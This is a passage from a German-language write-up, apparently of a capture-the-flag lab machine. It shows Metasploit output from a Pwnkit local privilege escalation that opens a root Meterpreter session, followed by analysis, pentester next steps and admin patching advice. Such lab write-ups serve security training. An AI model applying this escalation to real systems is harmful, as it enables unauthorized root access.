[!] Verify cleanup of /tmp/.lzlenxvyfh
[*] Sending stage (3045348 bytes) to 192.168.2.118
[+] Deleted /tmp/.lzlenxvyfh/hcvheo/hcvheo.so
[+] Deleted /tmp/.lzlenxvyfh/.yqnbtnghpo
[+] Deleted /tmp/.lzlenxvyfh
[*] Meterpreter session 3 opened (192.168.2.105:4446 -> 192.168.2.118:34958) at 2023-07-13 23:36:31 +0200
# Keine weiteren Befehle in Meterpreter Session 3 gezeigt
**Analyse:** Das Pwnkit-Exploit-Modul wird auf die Meterpreter-Sitzung 2 (`www-data`) angewendet. Ein Listener für die Root-Shell wird auf Port 4446 gestartet. Der Exploit meldet überraschenderweise Erfolg (`[+] The target is vulnerable.`), obwohl das Datum von `pkexec` (Jan 2016) dagegen sprach. Eine neue Meterpreter-Sitzung (Session 3) wird als Root geöffnet. Es werden keine Befehle in dieser Root-Sitzung gezeigt, um die Rechte zu bestätigen oder Flags zu lesen.
**Bewertung:** Privilege Escalation zu Root war laut Metasploit-Ausgabe erfolgreich. Die Diskrepanz bezüglich der Pwnkit-Anfälligkeit bleibt bestehen (möglicherweise wurde Polkit separat aktualisiert, ohne dass das `pkexec`-Binary selbst ein neues Datum erhielt, oder der Exploit funktioniert auch gegen diese ältere Version). Der Zugriff als Root ist das entscheidende Ergebnis.
**Empfehlung (Pentester):** Mit Session 3 interagieren (`sessions -i 3`), `getuid` oder `shell`+`id` ausführen, um Root zu bestätigen. Flags suchen.
**Empfehlung (Admin):** Polkit patchen. Überwachung von `/tmp` und `pkexec`. Das Prinzip verfolgen, auch ältere Software zu patchen, wenn Sicherheitspatches verfügbar sind (Backports).
**Analyse:** Der abschließende Flag-Abschnitt im Originaltext listet zwei Platzhalter-Flags auf. Im vorherigen Log wurde das Auslesen der Flags nach Erlangung der Root-Meterpreter-Sitzung nicht dokumentiert.
**Bewertung:** Der Test war technisch erfolgreich (Root-Zugriff erlangt), aber die Dokumentation im Log bezüglich des Auslesens der Flags ist unvollständig. Die hier angezeigten Flag-Werte stammen direkt aus dem Ende des bereitgestellten Textes. Die User-Flagge befindet sich wahrscheinlich in `/home/library/user.txt` oder `/home/globus/user.txt`, die Root-Flagge in `/root/root.txt`.